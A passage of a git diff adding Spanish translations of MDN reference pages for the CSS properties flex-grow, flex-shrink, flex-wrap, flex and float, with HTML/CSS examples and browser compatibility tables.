+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;h4&gt;This is a Flex-Grow&lt;/h4&gt;
+&lt;h5&gt;A,B,C and F are flex-grow:1 . D and E are flex-grow:2 .&lt;/h5&gt;
+&lt;div id="content"&gt;
+  &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+  &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+  &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+  &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+  &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+  &lt;div class="box" style="background-color:brown;"&gt;F&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  -ms-box-orient: horizontal;
+  display: -webkit-box;
+  display: -moz-box;
+  display: -ms-flexbox;
+  display: -moz-flex;
+  display: -webkit-flex;
+  display: flex;
+
+  -webkit-justify-content: space-around;
+  justify-content: space-around;
+  -webkit-flex-flow: row wrap;
+  flex-flow: row wrap;
+  -webkit-align-items: stretch;
+  align-items: stretch;
+}
+
+.box {
+  flex-grow: 1;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box1 {
+  flex-grow: 2;
+  border: 3px solid rgba(0,0,0,.2);
+}
+</pre>
+</div>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Example', '700px', '300px', '', 'Web/CSS/flex-grow')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox','#flex-grow','flex-grow')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup></td>
+   <td>21.0{{property_prefix("-webkit")}}</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td>6.1{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>&lt; 0 animate</td>
+   <td>{{CompatGeckoDesktop("32.0")}}<sup>[2]</sup></td>
+   <td>49.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatGeckoMobile("18.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.10</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>&lt; 0 animate</td>
+   <td>{{CompatGeckoDesktop("32.0")}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox soporta sólo Caja flexible de línea simple hasta Firefox 27. Para activar el soporte de caja flexible para Firefox 18 y 19, el usuario tiene que cambiar en preferencias about:config el <code>layout.css.flexbox.enabled</code> en <code>true</code>.</p>
+
+<p>Además del soporte sin prefijo, Gecko 48.0 {{geckoRelease("48.0")}} añade soporte para un prefijo <code>-webkit</code> en versión porpietaria por razones compatibilidad web bajo la preferencia <code>layout.css.prefixes.webkit</code>, por defecto en <code>false</code>. Desde Gecko 49.0 {{geckoRelease("49.0")}} la preferencia por defecto está en <code>true</code>.</p>
+
+<p>[2] Antes de Firefox 32, Gecko no era capaz de animar los valores de inicio o parada en 0<code>(<a href="https://drafts.csswg.org/css-flexbox-1/#resolve-flexible-lengths">Spec</a>, <a href="https://jsbin.com/zacifexuke/edit?html,css,output">Demo</a>)</code>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS">Usando las cajas flexibles en CSS</a></li>
+</ul>
diff --git a/files/es/web/css/flex-shrink/index.html b/files/es/web/css/flex-shrink/index.html
new file mode 100644
index 0000000000..01d3740fd3
--- /dev/null
+++ b/files/es/web/css/flex-shrink/index.html
@@ -0,0 +1,185 @@
+---
+title: flex-shrink
+slug: Web/CSS/flex-shrink
+translation_of: Web/CSS/flex-shrink
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-shrink</code></strong> especifica el factor de contracción de un flex item. Los flex items se encogerán para llenar el contenedor de acuerdo a su número <code>flex-shrink</code> , cuando el tamaño por defecto de los flex items sea mayor al de su contenedor flex container.</p>
+
+<pre class="brush:css no-line-numbers">flex-shrink: 2;
+flex-shrink: 0.6;
+
+/* Valores globales */
+flex-shrink: inherit;
+flex-shrink: initial;
+flex-shrink: unset;
+</pre>
+
+<div class="hidden" id="flex-shrink">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="row"&gt;
+    &lt;div class="cell"&gt;flex-shrink:
+      &lt;div class="container"&gt;
+        &lt;div class="item small"&gt;&lt;strong&gt;0.5&lt;/strong&gt; &lt;p&gt;&lt;small&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed at purus vitae ipsum hendrerit vulputate quis vitae risus.&lt;/small&gt;&lt;/p&gt;&lt;/div&gt;
+        &lt;div class="item mid"&gt;&lt;strong&gt;1&lt;/strong&gt; &lt;p&gt;&lt;small&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed at purus vitae ipsum hendrerit vulputate quis vitae risus.&lt;/small&gt;&lt;/p&gt;&lt;/div&gt;
+        &lt;div class="item large"&gt;&lt;strong&gt;3&lt;/strong&gt; &lt;p&gt;&lt;small&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed at purus vitae ipsum hendrerit vulputate quis vitae risus.&lt;/small&gt;&lt;/p&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+  background: #EEE;
+}
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+}
+
+.cell {
+  margin: .5em;
+  padding: .5em;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: left;
+  flex: 1;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em;
+  font: .8em sans-serif;
+  text-align: left;
+  flex: 1;
+  white-space: nowrap;
+}
+
+.container {
+  background: #E4F0F5;
+  margin-top: .5em;
+
+  display: flex;
+}
+
+.item {
+  border: 1px solid black;
+  padding: 1em;
+}
+
+.small { flex-shrink: 0.5; }
+.mid   { flex-shrink: 1; }
+.large { flex-shrink: 3; }</pre>
+</div>
+
+<div>{{EmbedLiveSample("flex-shrink", "100%", 280, "", "", "example-outcome-frame")}}</div>
+
+<p>{{cssinfo}}</p>
+
+<p> </p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>flex-shrink</code> se especifica como un único <code><a href="#&lt;number>">&lt;número&gt;</a></code>.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><a id="number" name="number"><code>&lt;número</code>&gt;</a></dt>
+ <dd>Véase{{cssxref("&lt;number&gt;")}}. Los valores negativos no son válidos</dd>
+</dl>
+
+<h3 id="Sintaxi_formal">Sintaxi formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;p&gt;El ancho del contenido es de 500px; el flex-basis de los flex items es 120px.&lt;/p&gt;
+&lt;p&gt;A, B, C tiene flex-shrink:1. D y E tienen flex-shrink:2&lt;/p&gt;
+&lt;p&gt;El ancho de D y E es menor al de los otros.&lt;/p&gt;
+&lt;div id="content"&gt;
+  &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+  &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+  &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+  &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+  &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  display: flex;
+  width: 500px;
+}
+
+#content div {
+  flex-basis: 120px;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box {
+  flex-shrink: 1;
+}
+
+.box1 {
+  flex-shrink: 2;
+}
+</pre>
+</div>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('Example', '500px', '300px', '', 'Web/CSS/flex-shrink') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#flex-shrink', 'flex-shrink') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.flex-shrink")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+</ul>
+
+<p><nobr></nobr></p>
diff --git a/files/es/web/css/flex-wrap/index.html b/files/es/web/css/flex-wrap/index.html
new file mode 100644
index 0000000000..66066fd25e
--- /dev/null
+++ b/files/es/web/css/flex-wrap/index.html
@@ -0,0 +1,121 @@
+---
+title: flex-wrap
+slug: Web/CSS/flex-wrap
+translation_of: Web/CSS/flex-wrap
+---
+<p>{{ CSSRef("CSS Flexible Boxes") }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <strong><code>flex-wrap</code></strong> de <a href="/en-US/docs/CSS" title="CSS">CSS</a>  especifica si los elementos "hijos" son obligados a permanecer en una misma línea o pueden fluir en varias líneas. Si la cobertura (wrap) está permitida, esta propiedad también te permite controlar la dirección en la cual serán apilados los elementos.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Ver <a href="/es/docs/Web/Guide/CSS/Cajas_flexibles" title="/en/CSS/Using_CSS_flexible_boxes">Usando cajas flexibles CSS</a> para conocer más propiedades e información.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="/en-US/docs/CSS/Value_definition_syntax">Sintaxis formal</a>: {{csssyntax("flex-wrap")}}
+</pre>
+
+<pre>flex-wrap: nowrap
+flex-wrap: wrap
+flex-wrap: wrap-reverse
+
+flex-wrap: inherit
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Se aceptan los siguientes valores:</p>
+
+<dl>
+ <dt><code>nowrap</code></dt>
+ <dd>Los elementos flex son distribuidos en una sola línea, lo cual puede llevar a que se desborde el contenedor flex. El valor <strong>cross-start</strong> es equivalente a <strong>start</strong> o <strong>before</strong> según el valor de {{cssxref("flex-direction")}}.</dd>
+ <dt><code>wrap</code></dt>
+ <dd>Los elementos flex son colocados en varias líneas. El valor <strong>cross-start</strong> equivale a <strong>start</strong> o <strong>before</strong> dependiendo del valor <code>flex-direction</code> y <strong>cross-end</strong> implicaría lo opuesto a lo especificado por<strong> cross-start</strong>.</dd>
+ <dt><code>wrap-reverse</code></dt>
+ <dd>Actúa como <code>wrap</code> pero <strong>cross-start</strong> y <strong>cross-end</strong> están intercambiados.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css;highlight:[2]">element {
+  flex-wrap: nowrap;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Especificacion</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#flex-wrap', 'flex-wrap') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>28.0 {{bug(939901)}}</td>
+   <td>21.0{{ property_prefix("-webkit") }}</td>
+   <td>11.0</td>
+   <td>12.10</td>
+   <td>6.1{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>28.0 {{bug(939901)}}</td>
+   <td>4.4</td>
+   <td>11.0</td>
+   <td>12.10</td>
+   <td>7.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/Guide/CSS/Cajas_flexibles" title="/en-US/docs/CSS/Using_CSS_flexible_boxes">Usando cajas flexibles CSS</a></li>
+</ul>
diff --git a/files/es/web/css/flex/index.html b/files/es/web/css/flex/index.html
new file mode 100644
index 0000000000..9e89e10b6b
--- /dev/null
+++ b/files/es/web/css/flex/index.html
@@ -0,0 +1,208 @@
+---
+title: flex
+slug: Web/CSS/flex
+translation_of: Web/CSS/flex
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p> </p>
+
+<p>La propiedad CSS flex es una propiedad resumida que indica la capacidad de un elemento flexible para alterar sus dimensiones y llenar el espacio disponible. Los elementos flexibles pueden ser estirados para utilizar el espacio disponible proporcional a su factor de crecimiento flexible o su factor de contracción flexible para evitar desbordamiento.</p>
+
+<p>{{cssinfo}}</p>
+
+<p> </p>
+
+<p>Consulte <a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS/">Cómo usar las cajas flexibles de CSS</a> para conocer más propiedades e información.</p>
+
+<h2 id="Syntax" name="Syntax">Sintáxis</h2>
+
+<pre class="brush:css">/* 0 0 auto */
+flex: none;
+
+/* Un valor, número sin unidades: flex-grow */
+flex: 2;
+
+/* Un valor, width/height: flex-basis */
+flex: 10em;
+flex: 30px;
+flex: auto;
+flex: content;
+
+/* Dos valores: flex-grow | flex-basis */
+flex: 1 30px;
+
+/* Dos valores: flex-grow | flex-shrink */
+flex: 2 2;
+
+/* Tres valores: flex-grow | flex-shrink | flex-basis */
+flex: 2 2 10%;
+
+/* Valores globales */
+flex: inherit;
+flex: initial;
+flex: unset;
+</pre>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'flex-grow'&gt;</code></dt>
+ <dd>
+ <p>Define el <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-grow">flex-grow</a> del elemento flexible. Ver { { Xref_cssnumber ( ) } } para obtener más detalles . Los valores negativos no se consideran válidos . El valor predeterminado es 1 cuando se omite.</p>
+ </dd>
+ <dt><code>&lt;'flex-shrink'&gt;</code></dt>
+ <dd>Define el <code><a href="/en-US/docs/Web/CSS/flex-shrink">flex-shrink</a></code> del elemento flexible. Ver { { Xref_cssnumber ( ) } } para obtener más detalles . Los valores negativos no se consideran válidos . El valor predeterminado es 1 cuando se omite.</dd>
+ <dt><code>&lt;'flex-basis'&gt;</code></dt>
+ <dd>Define el <a href="/en-US/docs/CSS/flex-basis" title="CSS/flex-basis"><code>flex-basis</code></a> del elemento flexible. Se acepta cualquier valor válido para las propiedades  <code>width</code> y <code>height</code> . Un tamaño preferente de 0 debe tener una unidad para evitar ser interpretado como flexible. El valor predeterminado es 0% cuando se omite.</dd>
+ <dt><code>none</code></dt>
+ <dd>Esta palabra clave se computa a <code>0 0 auto</code>.</dd>
+ <dt>
+ <h3 id="Sintaxis_normal">Sintaxis normal</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: css">#flex-container {
+	display: -webkit-flex;
+	display: flex;
+	-webkit-flex-direction: row;
+	flex-direction: row;
+}
+
+#flex-container &gt; .flex-item {
+	-webkit-flex: auto;
+	flex: auto;
+}
+
+#flex-container &gt; .raw-item {
+	width: 5rem;
+}
+</pre>
+
+<pre class="brush: html">&lt;div id="flex-container"&gt;
+    &lt;div class="flex-item" id="flex"&gt;Flex box (click to toggle raw box)&lt;/div&gt;
+    &lt;div class="raw-item" id="raw"&gt;Raw box&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">var flex = document.getElementById("flex");
+var raw = document.getElementById("raw");
+flex.addEventListener("click", function() {
+	raw.style.display = raw.style.display == "none" ? "block" : "none";
+});
+</pre>
+
+<pre class="brush: css">#flex-container {
+	width: 100%;
+	font-family: Consolas, Arial, sans-serif;
+}
+
+#flex-container &gt; div {
+	border: 1px solid #f00;
+	padding: 1rem;
+}
+
+#flex-container &gt; .raw-item {
+	border: 1px solid #000;
+}
+</pre>
+</div>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Example','100%','60')}}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-property', 'flex')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("20.0")}}<br>
+    {{CompatGeckoDesktop("28.0")}}<sup>[2]</sup></td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>10.0{{property_prefix("-ms")}}<sup>[3]</sup><br>
+    11.0<sup>[3]</sup></td>
+   <td>12.10</td>
+   <td>
+    <p>6.1{{property_prefix("-webkit")}}<br>
+     9.0</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>4.4</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td>7.1{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] En Gecko 18.0 {{geckoRelease("18.0")}} y 19.0 {{geckoRelease("19.0")}} el soporte de cajas flexibles está oculto en las preferencias <code>about:config</code> en <code>layout.css.flexbox.enabled</code>, por defecto en <code>false</code>.</p>
+
+<p>[2] Las cajas flexibles multi-línea están soportadas desde Gecko 28.0 {{geckoRelease("28.0")}}.</p>
+
+<p>[3] Internet Explorer 10-11 (pero no 12+) ignora el uso de <a href="/en-US/docs/Web/CSS/calc"><code>calc()</code></a> en la parte <code>flex-basis</code> de la sintaxis de flex. Esto se puede solucionar mediante el uso de las propiedades normales en lugar de las abreviadas. Ver <a href="https://github.com/philipwalton/flexbugs#8-flex-basis-doesnt-support-calc">Flexbug #8</a> para más info. Además una declaración <code>flex</code>  con un valor sin unidad en su parte <code>flex-basis</code> es considerado sintácticamente no valido en esas versiones y por lo tanto será ignorado. Una solución consiste en incluir siempre una unidad en la parte <code>flex-basis</code> del valor abreviador <code>flex</code>. Ver <a href="https://github.com/philipwalton/flexbugs#4-flex-shorthand-declarations-with-unitless-flex-basis-values-are-ignored">Flexbug #4</a> para más info.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS/">Usar las cajas felxibles de CSS</a></li>
+</ul>
diff --git a/files/es/web/css/float/index.html b/files/es/web/css/float/index.html
new file mode 100644
index 0000000000..26077edca5
--- /dev/null
+++ b/files/es/web/css/float/index.html
@@ -0,0 +1,241 @@
+---
+title: float
+slug: Web/CSS/float
+tags:
+  - CSS
+  - CSS Float
+  - CSS Posicionamiento
+  - CSS Propiedad
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/float
+---
+<p>{{CSSRef}}</p>
+
+<p>La propiedad CSS <code>float</code> ubica un elemento al lado izquierdo o derecho de su contenedor, permitiendo a los elementos de texto y en línea aparecer a su costado. El elemento es removido del normal flujo de la página, aunque aún sigue siendo parte del flujo (a diferencia del  <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/position#Absolute_positioning">posicionamiento absoluto</a>).</p>
+
+<p>{{EmbedInteractiveExample("pages/css/float.html")}}</p>
+
+<div class="hidden">
+<p>La fuente de este ejemplo interactivo está almacenada en un repositorio de GitHub. Si deseas contribuír a los ejemplos interactivos del proyecto, por favor clonar <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y enviarnos una solicitud de extracción -pull request-.</p>
+</div>
+
+<p>Un elemento <strong>flotante</strong> es un elemento en el que el {{ Cssxref("computed value", "valor calculado") }} de <code>float</code> <em>no</em> es igual a <code>none</code>.</p>
+
+<p>Como <code>float</code> implica el uso del layout de bloques, este modifica el valor calculado de los valores {{cssxref("display")}} , en algunos casos:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Valor especificado</strong></th>
+   <th scope="col"><strong>Valor Computado</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>inline</td>
+   <td>block</td>
+  </tr>
+  <tr>
+   <td>inline-block</td>
+   <td>block</td>
+  </tr>
+  <tr>
+   <td>inline-table</td>
+   <td>table</td>
+  </tr>
+  <tr>
+   <td>table-row</td>
+   <td>block</td>
+  </tr>
+  <tr>
+   <td>table-row-group</td>
+   <td>block</td>
+  </tr>
+  <tr>
+   <td>table-column</td>
+   <td>block</td>
+  </tr>
+  <tr>
+   <td>table-column-group</td>
+   <td>block</td>
+  </tr>
+  <tr>
+   <td>table-cell</td>
+   <td>block</td>
+  </tr>
+  <tr>
+   <td>table-caption</td>
+   <td>block</td>
+  </tr>
+  <tr>
+   <td>table-header-group</td>
+   <td>block</td>
+  </tr>
+  <tr>
+   <td>table-footer-group</td>
+   <td>block</td>
+  </tr>
+  <tr>
+   <td>inline-flex</td>
+   <td>flex</td>
+  </tr>
+  <tr>
+   <td>inline-grid</td>
+   <td>grid</td>
+  </tr>
+  <tr>
+   <td>otros</td>
+   <td>sin cambios</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Nota: Al referirse a una propiedad desde JavaScript como un miembro del objeto <a href="/es/DOM/element#element.style" title="es/DOM/element#element.style">element.style</a>, hay que tener en cuenta que los navegadores modernos soportan <code>float</code> pero en navegadores más antiguos hay que escribir la propiedad como <code>cssFloat</code>, otros navegadores como Internet Explorer 8 y anteriores utilizan <code>styleFloat</code>. Fue una excepción a la regla, que el nombre del miembro DOM sea el nombre <em>camel-case</em> (styleFloat) del nombre CSS (style-float) separado por guión (debido al hecho que "float" es una palabra reservada en JavaScript, es necesario escapar "class" como "className" y escapar "for" de la etiqueta como "htmlFor" ).</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="notranslate">/* Valores clave || Keyword values */
+float: left;
+float: right;
+float: none;
+float: inline-start;
+float: inline-end;
+
+/* Valores globales || Global values */
+float: inherit;
+float: initial;
+float: unset;</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<p><code><strong>left</strong> </code></p>
+
+<p>El elemento debe flotar a la izquierda de su bloque contenedor.</p>
+
+<p><code><strong>right</strong> </code></p>
+
+<p>El elemento debe flotar a la derecha de su bloque contenedor.</p>
+
+<p><code><strong>none</strong> </code></p>
+
+<p>El elemento no deberá flotar.</p>
+
+<p><strong><code>inline-start</code></strong></p>
+
+<p>El elemento debe flotar en el costado de inicio de su bloque contenedor. Esto es el lado izquierdo con scripts <code>ltr</code> y el lado derecho con scripts <code>rtl</code>.</p>
+
+<dl>
+ <dt><code>inline-end</code></dt>
+ <dd>El elemento debe flotar en el costado de término de su bloque contenedor . Esto es el lado derecho con scripts <code>ltr</code> y el lado izquierdo con scripts <code>rtl</code>.</dd>
+</dl>
+
+<h2 id="Definición_Formal">Definición Formal</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintáxis_Formal">Sintáxis Formal</h2>
+
+<dl>
+ <dt>
+ <pre class="notranslate">{{csssyntax}}
+</pre>
+ </dt>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Como_son_ubicados_los_elements_flotantes">Como son ubicados los elements flotantes </h3>
+
+<p><a href="/samples/cssref/float.html">Ver El Ejemplo Vivo</a></p>
+
+<p>Como se ha mencionado más arriba, cuando un elemento flota, es removido del flujo normal del documento (aunque sigue perteneciendo a él). Se cambia hacia la izquierda, o hacia la derecha, hasta que toca el límite de su caja contenedora, u <em>otro elemento flotante.</em></p>
+
+<p>En este ejemplo, hay tres cuadrados de color. Dos flotan hacia la izquierda, y uno hacia la derecha. Nota cómo el segundo cuadrado de la izquierda se coloca a la derecha del primero. Si agregamos cuadrados adicionales se continuarían apilando hacia la derecha, hasta que hayan llenado la caja contenedora, y luego rellenarían la siguiente línea.</p>
+
+<p>Un elemento flotante es al menos tan alto como su elemento hijo flotante más alto. En el ejemplo se le da al elemento padre <code>width: 100% </code>y la propiedad de flotante para asegurar que es lo suficientemente alto para encajar con sus hijos flotantes, y asegurar que ocupa el ancho -width- del padre de modo de no tener que limpiar su pariente adyacente.</p>
+
+<p><strong>HTML</strong></p>
+
+<pre class="notranslate">&lt;section&gt;
+  &lt;div class="left"&gt;1&lt;/div&gt;
+  &lt;div class="left"&gt;2&lt;/div&gt;
+  &lt;div class="right"&gt;3&lt;/div&gt;
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+     Morbi tristique sapien ac erat tincidunt, sit amet dignissim
+     lectus vulputate. Donec id iaculis velit. Aliquam vel
+     malesuada erat. Praesent non magna ac massa aliquet tincidunt
+     vel in massa. Phasellus feugiat est vel leo finibus congue.&lt;/p&gt;
+&lt;/section&gt;</pre>
+
+<p><strong>CSS</strong></p>
+
+<pre class="notranslate">section {
+  border: 1px solid blue;
+  width: 100%;
+  float: left;
+}
+
+div {
+  margin: 5px;
+  width: 50px;
+  height: 150px;
+}
+
+.left {
+  float: left;
+  background: pink;
+}
+
+.right {
+  float: right;
+  background: cyan;
+}</pre>
+
+<p><strong>RESULTADO:</strong></p>
+
